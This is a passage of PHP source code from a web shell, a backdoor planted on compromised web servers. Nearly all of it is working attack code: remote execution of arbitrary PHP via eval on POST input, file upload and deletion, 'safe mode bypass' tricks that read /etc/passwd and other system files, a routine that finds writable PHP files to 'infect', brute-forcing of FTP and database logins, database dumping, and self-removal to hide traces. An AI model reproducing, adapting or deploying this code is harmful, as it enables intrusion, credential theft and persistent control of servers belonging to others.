\';\n\thardFooter();\n}\nfunction actionPhp() {\n\tif( isset($_POST[\'ajax\']) ) {\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit; \n\t}\n\thardHeader();\n\tif( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {\n\t\techo \'

PHP info

\';\n\t\tob_start();\n\t\tphpinfo();\n\t\t$tmp = ob_get_clean();\n\t\t$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);\n\t\t$tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp);\n\t\t$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);\n\t\t$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\n\t\t$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);\n\t\techo $tmp;\n\t\techo \'

\';\n\t}\n\tif(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\n\t\techo \'

Execution PHP-code

\';\n\techo \' send using AJAX
\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\techo htmlspecialchars(ob_get_clean());\n\t}\n\techo \'
\';\n\thardFooter();\n}\nfunction actionFilesMan() {\n if (!empty ($_COOKIE[\'f\']))\n $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n \n\tif(!empty($_POST[\'p1\'])) {\n\t\tswitch($_POST[\'p1\']) {\n\t\t\tcase \'uploadFile\':\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\n if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\n echo "Can\'t upload file!";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'mkdir\':\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\t\t\t\t\techo "Can\'t create new dir";\n\t\t\t\tbreak;\n\t\t\tcase \'delete\':\n\t\t\t\tfunction deleteDir($path) {\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\t\t\t\t\t$dh = opendir($path);\n\t\t\t\t\twhile ( ($â–Ÿ = readdir($dh) ) !== false) {\n\t\t\t\t\t\t$â–Ÿ = $path.$â–Ÿ;\n\t\t\t\t\t\tif ( (basename($â–Ÿ) == "..") || (basename($â–Ÿ) == ".") )\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t$type = filetype($â–Ÿ);\n\t\t\t\t\t\tif ($type == "dir")\n\t\t\t\t\t\t\tdeleteDir($â–Ÿ);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($â–Ÿ);\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\t@rmdir($path);\n\t\t\t\t}\n\t\t\t\tif(is_array(@$_POST[\'f\']))\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n if($f == \'..\')\n continue;\n\t\t\t\t\t\t$f = urldecode($f);\n\t\t\t\t\t\tif(is_dir($f))\n\t\t\t\t\t\t\tdeleteDir($f);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($f);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'paste\':\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\t\t\t\t\tfunction move_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n $zip = new ZipArchive();\n if ($zip->open($_POST[\'p2\'], 1)) {\n chdir($_COOKIE[\'c\']);\n foreach($_COOKIE[\'f\'] as $f) {\n if($f == \'..\')\n continue;\n if(@is_file($_COOKIE[\'c\'].$f))\n $zip->addFile($_COOKIE[\'c\'].$f, $f);\n elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n foreach ($iterator as $key=>$value) {\n $zip->addFile(realpath($key), $key);\n }\n }\n }\n chdir($GLOBALS[\'cwd\']);\n $zip->close();\n }\n }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n $zip = new ZipArchive();\n foreach($_COOKIE[\'f\'] as $f) {\n if($zip->open($_COOKIE[\'c\'].$f)) {\n $zip->extractTo($GLOBALS[\'cwd\']);\n $zip->close();\n }\n }\n }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n chdir($_COOKIE[\'c\']);\n $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n chdir($GLOBALS[\'cwd\']);\n\t\t\t\t}\n\t\t\t\tunset($_COOKIE[\'f\']);\n setcookie(\'f\', \'\', time() - 3600);\n\t\t\t\tbreak;\n\t\t\tdefault:\n if(!empty($_POST[\'p1\'])) {\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n hardHeader();\n\techo \'

File manager

\';\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\n\tglobal $sort;\n\t$sort = array(\'name\', 1);\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\t\t\t$sort = array($match[1], (int)$match[2]);\n\t}\necho "\n\n";\n\t$dirs = $files = array();\n\t$n = count($dirContent);\n\tfor($i=0;$i<$n;$i++) {\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\t\t$tmp = array(\'name\' => $dirContent[$i],\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\t\t\t\t\t);\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\t}\n\t$GLOBALS[\'sort\'] = $sort;\n\tfunction cmp($a, $b) {\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\t\telse\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n\t}\n\tusort($files, "cmp");\n\tusort($dirs, "cmp");\n\t$files = array_merge($dirs, $files);\n\t$l = 0;\n\tforeach($files as $f) {\n\t\techo \'\';\n\t\t$l = $l?0:1;\n\t}\n\techo "
NameSizeModifyOwner/GroupPermissionsActions
\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'>[ \' . htmlspecialchars($f[\'name\']) . \' ]\').\'\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'\'.$f[\'modify\'].\'\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'\'.$f[\'perms\']\n\t\t\t.\'R T\'.(($f[\'type\']==\'file\')?\' F E D\':\'\').\'
\n\t\n\t\n\t\n\t\n\t";\n if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n echo " file name:  ";\n echo "
";\n\thardFooter();\n}\nfunction actionStringTools() {\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i \'base64_encode\',\n\t\t\'Base64 decode\' => \'base64_decode\',\n\t\t\'Url encode\' => \'urlencode\',\n\t\t\'Url decode\' => \'urldecode\',\n\t\t\'Full urlencode\' => \'full_urlencode\',\n\t\t\'md5 hash\' => \'md5\',\n\t\t\'sha1 hash\' => \'sha1\',\n\t\t\'crypt\' => \'crypt\',\n\t\t\'CRC32\' => \'crc32\',\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\n\t\t\'HEX to DEC\' => \'hexdec\',\n\t\t\'HEX to BIN\' => \'hex2bin\',\n\t\t\'DEC to HEX\' => \'dechex\',\n\t\t\'DEC to BIN\' => \'decbin\',\n\t\t\'BIN to HEX\' => \'binhex\',\n\t\t\'BIN to DEC\' => \'bindec\',\n\t\t\'String to lower case\' => \'strtolower\',\n\t\t\'String to upper case\' => \'strtoupper\',\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\n\t\t\'String length\' => \'strlen\',\n\t);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\thardHeader();\n\techo \'

String conversions

\';\n\techo "
send using AJAX
";\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n\t}\n\techo"

Search files:

\n\t\t
\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t
Text:
Path:
Name:
";\n\tfunction hardRecursiveGlob($path) {\n\t\tif(substr($path, -1) != \'/\')\n\t\t\t$path.=\'/\';\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n\t\tif(is_array($paths)&&@count($paths)) {\n\t\t\tforeach($paths as $â–Ÿ) {\n\t\t\t\tif(@is_dir($â–Ÿ)){\n\t\t\t\t\tif($path!=$â–Ÿ)\n\t\t\t\t\t\thardRecursiveGlob($â–Ÿ);\n\t\t\t\t} else {\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($â–Ÿ), $_POST[\'p2\'])!==false)\n\t\t\t\t\t\techo "".htmlspecialchars($â–Ÿ)."
";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif(@$_POST[\'p3\'])\n\t\thardRecursiveGlob($_POST[\'c\']);\n\techo "

Search for hash:

\n\t\t
\n\t\t\t
\n \n\t\t\t
\n\t\t\t
\n
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t\t
\n\t\t
";\n\thardFooter();\n}\nfunction actionSafeMode() {\n\t$temp=\'\';\n\tob_start();\n\tswitch($_POST[\'p1\']) {\n\t\tcase 1:\n\t\t\t$temp=@tempnam($test, \'cx\');\n\t\t\tif(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){\n\t\t\t\techo @file_get_contents($temp);\n\t\t\t\tunlink($temp);\n\t\t\t} else\n\t\t\t\techo \'Sorry... Can\\\'t open file\';\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\t$files = glob($_POST[\'p2\'].\'*\');\n\t\t\tif( is_array($files) )\n\t\t\t\tforeach ($files as $filename)\n\t\t\t\t\techo $filename."\\n";\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\t$ch = curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH);\n\t\t\tcurl_exec($ch);\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\tini_restore("safe_mode");\n\t\t\tini_restore("open_basedir");\n\t\t\tinclude($_POST[\'p2\']);\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\tfor(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n\t\t\t\t$uid = @posix_getpwuid($_POST[\'p2\']);\n\t\t\t\tif ($uid)\n\t\t\t\t\techo join(\':\',$uid)."\\n";\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 6:\n\t\t\tif(!function_exists(\'imap_open\'))break;\n\t\t\t$stream = imap_open($_POST[\'p2\'], "", "");\n\t\t\tif ($stream == FALSE)\n\t\t\t\tbreak;\n\t\t\techo imap_body($stream, 1);\n\t\t\timap_close($stream);\n\t\t\tbreak;\n\t}\n\t$temp = ob_get_clean();\n\thardHeader();\n\techo \'

Safe mode bypass

\';\n\techo \'Copy (read file)

Glob (list dir)

Curl (read file)

Ini_restore (read file)

Posix_getpwuid ("Read" /etc/passwd)
From
To


Imap_open (read file)
\';\n\tif($temp)\n\t\techo \'
\'.$temp.\'
\';\n\techo \'
\';\n\thardFooter();\n}\nfunction actionLogout() {\n setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\tdie(\'bye!\');\n}\nfunction actionSelfRemove() {\n\tif($_POST[\'p1\'] == \'yes\')\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\t\t\tdie(\'Shell has been removed\');\n\t\telse\n\t\t\techo \'unlink error!\';\n if($_POST[\'p1\'] != \'yes\')\n hardHeader();\n\techo \'

Suicide

Really want to remove the shell?
Yes
\';\n\thardFooter();\n}\nfunction actionInfect() {\n\thardHeader();\n\techo \'

Infect

\';\n\tif($_POST[\'p1\'] == \'infect\') {\n\t\t$target=$_SERVER[\'DOCUMENT_ROOT\'];\n\t\t\tfunction ListFiles($dir) {\n\t\t\t\tif($dh = opendir($dir)) {\n\t\t\t\t\t$files = Array();\n\t\t\t\t\t$inner_files = Array();\n\t\t\t\t\twhile($file = readdir($dh)) {\n\t\t\t\t\t\tif($file != "." && $file != "..") {\n\t\t\t\t\t\t\tif(is_dir($dir . "/" . $file)) {\n\t\t\t\t\t\t\t\t$inner_files = ListFiles($dir . "/" . $file);\n\t\t\t\t\t\t\t\tif(is_array($inner_files)) $files = array_merge($files, $inner_files); \n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tarray_push($files, $dir . "/" . $file);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\treturn $files;\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach (ListFiles($target) as $key=>$file){\n\t\t\t\t$nFile = substr($file, -4, 4);\n\t\t\t\tif($nFile == ".php" ){\n\t\t\t\t\tif(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){\n\t\t\t\t\t\techo "$file
";\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\techo "$i";\n\t\t}else{\n\t\t\techo "
";\n\t\t\techo \'Really want to infect the server? Yes
\';\n\t\t}\n\thardFooter();\n}\nfunction actionBruteforce() {\n\thardHeader();\n\tif( isset($_POST[\'proto\']) ) {\n\t\techo \'

Results

Type: \'.htmlspecialchars($_POST[\'proto\']).\' Server: \'.htmlspecialchars($_POST[\'server\']).\'
\';\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\n\t\t\t\tif(!$fp) return false;\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\n\t\t\t\t@ftp_close($fp);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n\t\t\t\t@mysql_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n\t\t\t\t$res = @pg_connect($str);\n\t\t\t\t@pg_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t}\n\t\t$success = 0;\n\t\t$attempts = 0;\n\t\t$server = explode(":", $_POST[\'server\']);\n\t\tif($_POST[\'type\'] == 1) {\n\t\t\t$temp = @file(\'/etc/passwd\');\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = explode(":", $line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'\'.htmlspecialchars($line[0]).\':\'.htmlspecialchars($line[0]).\'
\';\n\t\t\t\t\t}\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\n\t\t\t\t\t\t$tmp = "";\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\n\t\t\t\t\t\t++$attempts;\n\t\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n\t\t\t\t\t\t\t$success++;\n\t\t\t\t\t\t\techo \'\'.htmlspecialchars($line[0]).\':\'.htmlspecialchars($tmp);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t} elseif($_POST[\'type\'] == 2) {\n\t\t\t$temp = @file($_POST[\'dict\']);\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = trim($line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'\'.htmlspecialchars($_POST[\'login\']).\':\'.htmlspecialchars($line).\'
\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n\t\techo "Attempts: $attempts Success: $success

";\n\t}\n\techo \'

FTP bruteforce

\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'
Type
\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'Server:port
Brute type /etc/passwd
reverse (login -> nigol)
Dictionary
\'\n\t\t.\'\'\n\t\t.\'\'\n\t\t.\'
Login
Dictionary
\'\n\t\t.\'
\';\n\techo \'
\';\n\thardFooter();\n}\nfunction actionSql() {\n\tclass DbClass {\n\t\tvar $type;\n\t\tvar $link;\n\t\tvar $res;\n\t\tfunction __construct($type)\t{\n\t\t\t$this->type = $type;\n\t\t}\n\t\tfunction connect($host, $user, $pass, $dbname){\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$host = explode(\':\', $host);\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction selectdb($db) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif (@mysql_select_db($db))return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction query($str) {\n\t\t\tswitch($this->type) {\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = @mysql_query($str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction fetch() {\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listDbs() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n return $this->query("SHOW databases");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listTables() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction error() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_error();\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_last_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction setCharset($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction loadFile($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM \'".addslashes($str)."\';select file from hard2;");\n\t\t\t\t\t$r=array();\n\t\t\t\t\twhile($i=$this->fetch())\n\t\t\t\t\t\t$r[] = $i[\'file\'];\n\t\t\t\t\t$this->query(\'drop table hard2\');\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction dump($table, $fp = false) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\t\t\t\t\t$create = mysql_fetch_array($res);\n\t\t\t\t\t$sql = $create[1].";\\n";\n if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n $i = 0;\n $head = true;\n\t\t\t\t\twhile($â–Ÿ = $this->fetch()) {\n $sql = \'\';\n if($i % 1000 == 0) {\n $head = true;\n $sql = ";\\n\\n";\n }\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($â–Ÿ as $k=>$v) {\n if($v === null)\n $â–Ÿ[$k] = "NULL";\n elseif(is_int($v))\n $â–Ÿ[$k] = $v;\n else\n $â–Ÿ[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\t\t\t\t\t\t}\n if($head) {\n $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $â–Ÿ).\')\';\n $head = false;\n } else\n $sql .= "\\n\\t,(".implode(", ", $â–Ÿ).\')\';\n if($fp) fwrite($fp, $sql); else echo($sql);\n $i++;\n\t\t\t\t\t}\n if(!$head)\n if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\t\t\t\t\twhile($â–Ÿ = $this->fetch()) {\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($â–Ÿ as $k=>$v) {\n\t\t\t\t\t\t\t$â–Ÿ[$k] = "\'".addslashes($v)."\'";\n\t\t\t\t\t\t\t$columns[] = $k;\n\t\t\t\t\t\t}\n $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $â–Ÿ).\');\'."\\n";\n if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t};\n\t$db = new DbClass($_POST[\'type\']);\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\t\t$db->selectdb($_POST[\'sql_base\']);\n switch($_POST[\'charset\']) {\n case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n case "UTF-8": $db->setCharset(\'utf8\'); break;\n case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n case "cp866": 